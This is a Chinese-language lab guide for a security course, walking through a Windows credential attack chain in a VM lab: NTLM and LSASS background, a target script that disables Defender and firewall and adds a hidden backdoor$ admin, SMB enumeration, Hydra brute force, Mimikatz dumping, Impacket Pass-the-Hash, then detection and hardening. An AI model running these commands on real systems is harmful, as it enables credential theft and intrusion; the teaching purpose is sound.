Skip to content

实验二:用户账户暴力破解与凭据提取渗透


color: “linear-gradient(45deg, #23d4fd 0%, #3a98f0 50%, #b721ff 100%)“

Section titled “color: “linear-gradient(45deg, #23d4fd 0%, #3a98f0 50%, #b721ff 100%)“”

实验二:用户账户暴力破解与凭据提取渗透

Section titled “实验二:用户账户暴力破解与凭据提取渗透”

本实验围绕一条完整的 Windows 本地账户攻击链展开。前置知识按攻击链的推进顺序组织——每学完一个知识点,你就能理解下一个攻击阶段为什么能成功:

知识点 对应攻击阶段 核心问题
─────────────────────────────────────────────────────────────────────
§1 密码哈希与NTLM认证 → 阶段一二(枚举+爆破) → 密码以什么形式存在?为什么弱口令能被快速破解?
§2 SAM数据库与LSASS进程 → 阶段三(凭据提取) → 哈希和明文密码存放在哪?攻击者怎么读到它们?
§3 持久化:隐藏账户 → 阶段四(后门检测) → 拿到权限后如何留下不易发现的后门?

第一个问题:Windows 保存的到底是明文密码还是别的什么?

现代 Windows 不保存明文密码,而是保存密码的哈希值,存放在 SAM 数据库(Security Account Manager)中:

用户输入密码: "P@ssw0rd123"
哈希算法处理
存储在SAM中: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
│ │
│ └── NTLM Hash(MD4)
└── LM Hash(已废弃,现代系统为空)

LM Hash vs NTLM Hash 对比

特性LM HashNTLM Hash
算法DES(两段独立加密)MD4(整体加密)
密码处理转为大写,截断14字符保留大小写,支持长密码
安全性极低(可秒级彩虹表破解)中等(仍可离线破解)
状态Vista/2008后默认禁用仍在广泛使用
盐值(Salt)

1.2 NTLM 认证流程(挑战/响应机制)

Section titled “1.2 NTLM 认证流程(挑战/响应机制)”

上一节说明密码以哈希形式存储在 SAM 中。那用户登录或访问网络资源时,系统怎么验证身份?答案是 NTLM 挑战/响应协议

核心思路:客户端永远不把密码(也不把哈希)直接发给服务器,而是通过一道”数学题”间接证明自己知道密码。

认证四步流程:

步骤方向发送内容通俗解释
① 协商客户端 → 服务器用户名 + 支持的认证能力“我是 weakadmin,我要登录”
② 挑战服务器 → 客户端16 字节随机数(Challenge)“好,算一道题给我看:题目是 A3 F7 2B ...
③ 响应客户端 → 服务器Response = HMAC(Challenge, NTLM_Hash)客户端用自己内存中的哈希加密题目,把答案发回去
④ 验证服务器内部用 SAM 中存储的同一份哈希重新算一遍答案一致 → 认证通过;不一致 → 拒绝
┌──────────┐ ┌──────────┐
│ 客户端 │ ① “我是 weakadmin” │ 服务器 │
│ │ ──────────────────────────────────► │ │
│ │ │ │
│ │ ② Challenge = A3 F7 2B ... │ │
│ │ ◄────────────────────────────────── │ │
│ │ │ │
│ 内存中 │ ③ Response = HMAC(Challenge, │ │
│ 持有 │ NTLM_Hash) │ │
│ NTLM Hash│ ──────────────────────────────────► │ 用SAM中 │
│ │ │ 的Hash │
│ │ ④ 服务器重算,结果匹配 → 通过 ✓ │ 验算 │
└──────────┘ └──────────┘

为什么这个设计”看似安全,实则有致命弱点”?

设计初衷是好的:明文密码从不出网,每次挑战随机不同,无法重放旧的响应。但问题在于第 ③ 步——客户端计算响应时,唯一需要的材料就是 NTLM Hash 本身,不需要知道原始密码。

这直接导致两个攻击面:

攻击方式原理对应实验阶段
暴力破解无账户锁定时,攻击者可无限次触发 ①②③④ 流程试密码阶段二
Pass-the-Hash攻击者从内存中偷到哈希后,直接用哈希完成第 ③ 步,根本不需要破解出明文密码阶段三

1.3 NTLM 的局限与 Kerberos 对比(扩展阅读)

Section titled “1.3 NTLM 的局限与 Kerberos 对比(扩展阅读)”

本实验聚焦工作组环境下的 NTLM 攻击。在域环境中,Windows 默认使用 Kerberos 协议,攻击面有所不同。下表供对比参考,不作为本实验考核内容:

对比维度NTLMKerberos
认证方式挑战/响应(基于哈希)票据(Ticket)
双向认证✗ 不可验证服务器身份✓ 客户端和服务器互相验证
密码传输哈希参与计算,不出网完全不出网
重放攻击易受NTLM Relay票据有时效性(10小时TGT)
单点登录✓ 一次认证访问多服务
适用环境工作组域环境(默认)
Pass-the-Hash✓ 可能✗ 票据绑定用户
黄金票据✗ 不适用✓ 获取krbtgt可伪造

2. 凭据存储位置:SAM 数据库与 LSASS 进程

Section titled “2. 凭据存储位置:SAM 数据库与 LSASS 进程”

上一节回答了”密码以什么形式存在、认证怎么用它”。这一节回答下一个关键问题:这些哈希和凭据具体存放在哪里? 攻击者拿到管理员权限后能读到什么,取决于两个位置——磁盘上的 SAM(静态)和内存中的 LSASS(动态)。

2.1 SAM 数据库——本地账户的”密码仓库”

Section titled “2.1 SAM 数据库——本地账户的”密码仓库””
SAM数据库存储位置:%SystemRoot%\System32\config\SAM
SAM文件结构(需要SYSTEM权限才能访问):
┌─────────────────────────────┐
│ SAM 数据库 │
│ ┌─────────────────────────┐ │
│ │ 用户账户信息 │ │
│ │ - 用户名 │ │
│ │ - NTLM Hash │ │
│ │ - LM Hash(已废弃) │ │
│ │ - 账户属性/标志位 │ │
│ │ - RID(相对标识符) │ │
│ │ - 最后登录时间 │ │
│ └─────────────────────────┘ │
└─────────────────────────────┘
导出方式:
- 离线:复制SAM文件 + SYSTEM文件 → 用Impacket secretsdump解析
- 在线:Mimikatz直接读取LSASS内存
- 远程:Impacket secretsdump(需要域管权限)

2.2 LSASS 进程——登录后的”凭据活缓存”

Section titled “2.2 LSASS 进程——登录后的”凭据活缓存””

SAM 是静态的——只有账户创建或改密码时才更新。但攻击者更感兴趣的是 LSASS 进程(lsass.exe):每当用户登录,系统会把该用户的哈希、Kerberos 票据甚至明文密码缓存到 LSASS 内存中,供后续网络认证使用。这意味着一台多人登录过的服务器,LSASS 里可能同时存着多个账户的凭据——攻击者只需读一次内存,就能”一锅端”。

用户登录Windows后:
┌─────────────┐ 认证成功 ┌─────────────────┐
│ 用户登录 │ ────────────────► │ LSASS 进程 │
│ 输入密码 │ │ (lsass.exe) │
└─────────────┘ │ │
│ 缓存内容: │
│ ✓ NTLM Hash │
│ ✓ Kerberos TGT │
│ ✓ Kerberos票据 │
│ ✓ 明文密码* │
│ ✓ 凭据管理器 │
└────────┬────────┘
┌─────────────────┐│
│ Mimikatz 攻击 ││
│ privilege::debug││
│ 调试API读取内存 │─┘
└─────────────────┘
* 明文密码缓存在注册表 HKLM\SECURITY\Cache 中,
通过WDigest协议存储(Win10 1607前默认启用)

防御Mimikatz的三层防护

防御措施原理配置方法
LSA保护(RunAsPPL)LSASS以受保护进程运行,禁止调试API读取reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1
Credential Guard使用虚拟化安全(VBS)隔离凭据需硬件支持TPM 2.0 + Secure Boot + UEFI
Protected Users组限制凭据缓存行为将用户加入该安全组

到这里,攻击链的”获取权限”部分已经讲完(爆破 → 提取凭据 → Pass-the-Hash)。但真实攻击不会止步于此——密码可能被修改、会话可能被清理,攻击者需要一个不依赖当前凭据就能回来的后门

最常见的本地持久化手段之一,就是创建一个普通管理工具”看不见”的账户。Windows 提供了一个简单但有效的隐藏机制:用户名以 $ 结尾

Windows中用户名以 $ 结尾时,该账户有以下特性:

普通账户: net user → 显示在列表中 → 显示在登录界面
隐藏账户: net user backdoor$ → 不显示在net user中 → 不显示在登录界面
但隐藏账户:
✓ 仍然存在于注册表 SAM 中
✓ 仍然可以使用 \\server\share$ 访问共享
✓ 仍然可以登录(输入用户名 backdoor$)
✓ 可以被 wmic / Get-LocalUser / 直接查询SAM注册表 发现
检测方法对比:
┌──────────────────┬──────────────┬──────────────┐
│ 检测方法 │ 能发现$账户? │ 命令示例 │
├──────────────────┼──────────────┼──────────────┤
│ net user │ ✗ 看不到 │ net user │
│ 登录界面 │ ✗ 看不到 │ Ctrl+Alt+Del │
│ wmic │ ✓ 可以 │ wmic useraccount │
│ Get-LocalUser │ ✓ 可以 │ Get-LocalUser │
│ 注册表SAM键 │ ✓ 可以 │ reg query HKLM\SAM\... │
└──────────────────┴──────────────┴──────────────┘

本实验将前置知识点中的四个核心概念串联为一条完整的攻击链,每个阶段都建立在前一个阶段获得的信息之上:

┌─────────────────┐ 用户名列表 ┌──────────────────┐ 有效凭据 ┌──────────────────┐
│ 阶段一 │ ─────────────► │ 阶段二 │ ─────────────► │ 阶段三 │
│ SMB空会话枚举 │ │ 弱口令暴力破解 │ │ Mimikatz凭据提取 │
│ (§1.1 SAM用户) │ │ (§1.3 无锁定策略)│ │ (§2.2 LSASS内存) │
└─────────────────┘ └──────────────────┘ └────────┬─────────┘
│ NTLM Hash
┌──────────────────┐ 加固对抗 ┌──────────────────┐
│ 阶段五 │ ◄───────────── │ 阶段四 │
│ 密码策略+LSA加固 │ │ 隐藏账户检测 │
│ (§2.2 防御三层) │ │ (§3.1 $后缀账户)│
└──────────────────┘ └──────────────────┘
┌─────────────────────┐ NAT模式 ┌─────────────────────┐
│ Kali Linux │ 192.168.1.0/24 │ Windows Server │
│ 2025.4(攻击机) │◄──────────────────────────────────► │ 2025(靶机) │
│ IP: 192.168.1.10 │ │ IP: 192.168.1.20 │
└─────────────────────┘ └─────────────────────┘

虚拟机设置

项目配置
操作系统Windows Server 2025 Standard(桌面体验版)
内存4 GB
硬盘60 GB
网络适配器NAT模式
快照实验前创建快照(命名:实验二-初始状态)

第三步:靶机初始化脚本(管理员 PowerShell 执行,必须先完成上述两步 secpol.msc 配置):

Terminal window
# ============================================
# 靶机环境初始化脚本 - 实验二
# ============================================
# 1. 创建弱密码测试账户
net user user1 123456 /add
net user user2 password /add
net user user3 P@ssw0rd /add
net user user4 qwerty /add
net user weakadmin admin123 /add
net localgroup Administrators weakadmin /add
# 2. 创建隐藏账户(用于检测实验)
net user backdoor$ P@ssw0rd123 /add
net localgroup Administrators backdoor$ /add
# 3. 启用远程桌面
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
# 注意:中文版Windows使用中文组名,英文版使用 "Remote Desktop"
Enable-NetFirewallRule -DisplayGroup "远程桌面"
# 4. 禁用 RDP 网络级别身份验证(NLA),否则 Hydra RDP 模块无法爆破
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 0
# 5. 关闭防火墙(仅实验环境)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# 6. 启用 SMB1 协议(enum4linux 依赖 SMB1,Server 2025 默认禁用)
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 7. 关闭 Windows Defender 实时防护(否则 Mimikatz.exe 会被自动隔离)
Set-MpPreference -DisableRealtimeMonitoring $true
# 8. 启用 WDigest 明文密码缓存(让 Mimikatz 能提取到明文密码,默认已禁用)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
# 9. 放开空会话对 IPC$ 管道的访问限制(enum4linux 依赖此配置)
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v RestrictNullSessAccess /t REG_DWORD /d 0 /f
# 10. 添加匿名可访问的命名管道和共享
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d "lsarpc\0samr\0wkssvc\0srvsvc\0browser\0netlogon" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d "IPC$\0print$\0fax$" /f
# 11. 启用 Guest 账户(空会话映射到 Guest)
net user guest /active:yes
# 12. 放开远程 SAM 调用限制(Server 2016+ 默认仅允许管理员,需显式允许匿名)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictRemoteSAM /t REG_SZ /d "O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;AN)(A;;RC;;;WD)" /f
# 13. 关闭 SMB 签名要求和加密要求(Server 2025 默认开启,会阻断空会话)
Set-SmbServerConfiguration -RequireSecuritySignature $false -Force
Set-SmbServerConfiguration -RejectUnencryptedAccess $false -Force
# 14. 关闭 UAC 远程限制(否则管理员账户网络登录时被降权,无法写 ADMIN$ 或调用 WMI)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# 15. 重启使所有配置生效
Restart-Computer -Force

阶段一:SMB空会话枚举(获取攻击面)

Section titled “阶段一:SMB空会话枚举(获取攻击面)”

步骤1:通过空会话枚举用户列表

# 使用enum4linux枚举Windows信息(依赖 SMB1,需靶机已启用)
enum4linux -a 192.168.1.20
# 使用rpcclient枚举用户
rpcclient -U "" 192.168.1.20 -c "enumdomusers"
# 使用 CrackMapExec / NetExec 进行SMB枚举
# 注意:Kali 2024+ 中 CrackMapExec 已更名为 NetExec (nxc)
# 若 crackmapexec 命令不存在,改用 nxc
nxc smb 192.168.1.20 --users
nxc smb 192.168.1.20 --groups
nxc smb 192.168.1.20 --shares
# 使用nbtscan获取NetBIOS信息(需先安装:sudo apt install nbtscan)
nbtscan 192.168.1.20

步骤2:枚举共享资源和密码策略

# 枚举共享资源
smbclient -L //192.168.1.20 -N
# 查看密码策略
nxc smb 192.168.1.20 --pass-pol
# 预期输出(弱策略):
# [+] Password policy for domain:
# Password length minimum: 0
# Password history length: 0
# Maximum password age: not set
# Minimum password age: not set
# Account lockout threshold: None

阶段二:密码暴力破解(将用户名转化为凭据)

Section titled “阶段二:密码暴力破解(将用户名转化为凭据)”

步骤3:使用Hydra进行SMB暴力破解

# 准备用户名和密码字典
# 用户名字典
echo -e "user1\nuser2\nuser3\nuser4\nweakadmin\nadministrator" > /tmp/users.txt
# 密码字典
echo -e "123456\npassword\nadmin\nadmin123\nP@ssw0rd\n123456789\nqwerty\nletmein\nwelcome\nmonkey" > /tmp/passwords.txt
# 使用Hydra进行SMB暴力破解
hydra -L /tmp/users.txt -P /tmp/passwords.txt smb://192.168.1.20
# 预期输出:
# [DATA] max 16 tasks per 1 server, overall 16 tasks, 60 login tries (l:6/p:10)
# [445][smb] host: 192.168.1.20 login: user1 password: 123456
# [445][smb] host: 192.168.1.20 login: user2 password: password
# [445][smb] host: 192.168.1.20 login: user3 password: P@ssw0rd
# [445][smb] host: 192.168.1.20 login: weakadmin password: admin123

步骤4:使用CrackMapExec进行SMB密码喷射

# 密码喷射:用同一个常见密码尝试所有用户
nxc smb 192.168.1.20 -u users.txt -p '123456'
nxc smb 192.168.1.20 -u users.txt -p 'admin123'
nxc smb 192.168.1.20 -u users.txt -p 'password'
# 验证凭据是否有效
nxc smb 192.168.1.20 -u user1 -p '123456' --shares
nxc smb 192.168.1.20 -u weakadmin -p 'admin123' --shares

步骤5:RDP远程桌面暴力破解

# 使用Hydra进行RDP暴力破解(需靶机已禁用NLA,见初始化脚本第4步)
hydra -L /tmp/users.txt -P /tmp/passwords.txt rdp://192.168.1.20

步骤6:破解成功后使用获取的凭据访问系统

# 使用xfreerdp3远程桌面连接(Kali 2025.4)
xfreerdp3 /v:192.168.1.20 /u:weakadmin /p:admin123 /cert:tofu

阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)

Section titled “阶段三:Mimikatz凭据提取(从单点突破到内存洗劫)”

步骤7:使用Mimikatz从内存中提取凭据

在Windows Server靶机上以管理员身份执行:

Terminal window
# 下载Mimikatz到靶机
# 从攻击机传输(已在靶机上以管理员权限运行)
# 假设已将mimikatz.exe放到 C:\Tools\ 目录
cd C:\Tools
mimikatz.exe
# 获取调试权限
privilege::debug
# 预期输出:Privilege '20' OK
# 提升到 SYSTEM 令牌(Administrator 无法直接读取 SAM 注册表和 LSASS 内存)
token::elevate
# 预期输出:Token Id : ... ; User : NT AUTHORITY\SYSTEM
# 导出本地SAM数据库中所有账户的哈希(从磁盘 SAM 文件读取)
lsadump::sam
# 输出示例(部分):
# Domain : WIN-XXXXX
# SysKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ...
# RID : 000003ef (1007)
# User : user1
# Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0 (实际值取决于密码)
#
# RID : 000003f2 (1010)
# User : weakadmin
# Hash NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# 从LSASS进程内存中提取登录用户凭据
sekurlsa::logonpasswords
# 注意:Server 2025 的 LSASS 内部结构有变化,旧版 Mimikatz 可能报错:
# ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list
# 若遇到此错误,使用 lsadump::sam(上面已成功)或从 Kali 远程导出:
# impacket-secretsdump weakadmin:admin123@192.168.1.20
#
# 若 Mimikatz 版本支持 Server 2025,输出示例:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# Session : Interactive from 2
# User Name : weakadmin
# Domain : WIN-XXXXX
# Password : admin123 ← 明文密码!(需 WDigest 已启用 + 重登录)
# NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
#
# 若 Password 显示 (null),说明 WDigest 未生效或未重登录,
# 此时 NTLM Hash 仍然可用,可继续后续 Pass-the-Hash 步骤。
# 导出所有已缓存的凭据
sekurlsa::credman

步骤8:Pass-the-Hash攻击演示

Terminal window
# 在Mimikatz中使用NTLM哈希直接认证(无需明文密码)
# 哈希值从上一步 lsadump::sam 的输出中获取
sekurlsa::pth /user:weakadmin /domain:. /ntlm:<从lsadump::sam获取的哈希>
# 注意:此命令依赖 LSASS 内存访问,Server 2025 上可能失败,
# 请优先使用下方 Kali 端的 Impacket 方式。
# 从Kali攻击机使用Impacket工具进行PtH
# 注意:Kali 2024+ 中 Impacket 工具有两种调用方式:
# 方式一(推荐):直接使用命令名 impacket-psexec / impacket-wmiexec / impacket-smbexec
# 方式二:python3 调用脚本路径
# 哈希值从 lsadump::sam 或 impacket-secretsdump 输出中获取
impacket-psexec -hashes :<NTLM哈希> weakadmin@192.168.1.20
impacket-wmiexec -hashes :<NTLM哈希> weakadmin@192.168.1.20
impacket-smbexec -hashes :<NTLM哈希> weakadmin@192.168.1.20
# 也可直接远程导出所有凭据(无需在靶机上运行 Mimikatz)
impacket-secretsdump weakadmin:admin123@192.168.1.20

阶段四:隐藏账户检测(识别持久化后门)

Section titled “阶段四:隐藏账户检测(识别持久化后门)”

步骤9:检测隐藏的$后缀账户

在靶机或Kali上执行:

Terminal window
# 方法一:net user 不显示$账户
net user
# 注意:backdoor$ 不会出现在列表中
# 方法二:使用wmic可发现隐藏账户
# 注意:wmic 在 Server 2025 中已弃用但仍可用,若不可用请跳到方法三/四
wmic useraccount list full | findstr backdoor
# 方法三:直接查询注册表(需SYSTEM权限)
reg query "HKLM\SAM\SAM\Domains\Account\Users\Names"
# 方法四:使用PowerShell(推荐,Server 2025 首选方式)
Get-LocalUser | Select-Object Name, Enabled, Description
# $结尾的账户也会显示
# 方法五:CIM 查询(wmic 的现代替代)
Get-CimInstance -ClassName Win32_UserAccount | Where-Object { $_.Name -like '*$*' } | Select-Object Name, SID
# 从Kali使用CrackMapExec检测
nxc smb 192.168.1.20 -u weakadmin -p 'admin123' --users
# 会列出所有用户,包括隐藏的backdoor$

阶段五:密码策略加固与验证(构建防御闭环)

Section titled “阶段五:密码策略加固与验证(构建防御闭环)”

防御矩阵

攻击阶段利用的弱点本阶段加固措施
阶段一 枚举允许匿名 SMB关闭 SMB 匿名、限制 Null Session
阶段二 爆破无密码复杂度 / 无锁定复杂密码策略 + 账户锁定阈值=5
阶段三 提取LSASS 可被调试读取RunAsPPL + Credential Guard
阶段三 PtHNTLM Hash 可重放Protected Users 组 + 禁用 NTLM
阶段四 后门隐藏账户检测困难定期审计 wmic / Get-LocalUser

步骤10:配置强密码策略

在靶机上执行:

Terminal window
# 方法一:通过secpol.msc图形界面
# 路径:secpol.msc → 账户策略 → 密码策略
# 密码必须符合复杂性要求 → 启用
# 密码长度最小值 → 8 个字符
# 密码最长使用期限 → 90 天
# 强制密码历史 → 5 个
# 账户策略 → 账户锁定策略
# 账户锁定阈值 → 5 次
# 账户锁定时间 → 15 分钟
# 复位账户锁定计数器的时间间隔 → 15 分钟
# 方法二:通过命令行
# 密码策略和锁定策略建议分开执行
net accounts /minpwlen:8 /maxpwage:90 /uniquepw:5
net accounts /lockoutthreshold:5 /lockoutduration:15 /lockoutwindow:15
gpupdate /force
# 验证策略
net accounts

步骤11:启用LSA保护防御Mimikatz

Terminal window
# 启用LSA保护(RunAsPPL)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# 启用Windows Defender Credential Guard(需重启)
# 方法:gpedit.msc → 计算机配置 → 管理模板 → 系统 → Device Guard
# 开启虚拟化安全 → 启用
#
# 注意:Credential Guard 需要 TPM 2.0 + Secure Boot + UEFI,
# 虚拟机环境通常不具备这些条件,此步骤可能无法启用。
# 在 VM 环境中仅演示 RunAsPPL 即可,Credential Guard 作为知识扩展了解。
# 需要重启生效
Restart-Computer -Force
# 重启后验证
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
# 应输出:RunAsPPL REG_DWORD 0x1

步骤12:验证加固效果

# 1. 验证密码策略
crackmapexec smb 192.168.1.20 --pass-pol
# 预期:密码长度最小值=8,锁定阈值=5
# 2. 验证暴力破解被限制
hydra -l user1 -P /tmp/passwords.txt smb://192.168.1.20 -t 1 -w 5
# 预期:尝试5次后账户被锁定,无法继续
# 3. 验证Mimikatz被阻止
# 在靶机上重新运行Mimikatz
privilege::debug
# 预期:可能失败,提示无法获取调试权限

四、攻击链回顾与实验报告要求

Section titled “四、攻击链回顾与实验报告要求”

将五个阶段的产物串成一条叙事:

  1. 从一个IP 地址开始 → 通过空会话枚举得到用户名列表(阶段一);
  2. 用户名列表 + 弱密码字典 → 破解得到一组本地管理员凭据(阶段二);
  3. 登录靶机后运行 Mimikatz → 得到所有在线会话的明文密码与 NTLM 哈希(阶段三);
  4. 利用管理员权限 → 发现并清点持久化隐藏账户(阶段四);
  5. 基于前四步暴露的每一个弱点 → 配置对应的加固项并回归验证(阶段五)。
序号记录项说明
1枚举结果空会话枚举到的用户列表和共享资源
2爆破结果Hydra/CrackMapExec成功破解的账户密码
3Mimikatz输出提取到的明文密码和NTLM哈希
4隐藏账户检测检测到backdoor$的方法和结果
5加固前后对比密码策略配置前后爆破效果的差异

  • 点击展开清理脚本

    Terminal window
    # 1. 删除测试账户
    net user user1 /delete
    net user user2 /delete
    net user user3 /delete
    net user user4 /delete
    net user weakadmin /delete
    net user backdoor$ /delete
    # 2. 恢复密码策略
    secpol.msc
    # 恢复为默认安全配置(启用密码复杂度、设置锁定阈值等)
    # 3. 关闭远程桌面
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 1
    # 4. 恢复 NLA(网络级别身份验证)
    Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
    # 5. 启用防火墙
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
    # 6. 恢复 Windows Defender 实时防护
    Set-MpPreference -DisableRealtimeMonitoring $false
    # 7. 禁用 WDigest 明文密码缓存
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 0 /f
    # 8. 恢复空会话限制(阻止匿名枚举)
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictAnonymousSam /t REG_DWORD /d 1 /f
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 0 /f
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RestrictRemoteSAM /f
    # 9. 禁用 SMB1 协议
    Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
    # 10. 恢复 UAC 远程限制
    reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /f
    # 10. 删除Mimikatz等工具
    Remove-Item -Path "C:\Tools" -Recurse -Force
    # 11. 重启使所有恢复生效
    Restart-Computer -Force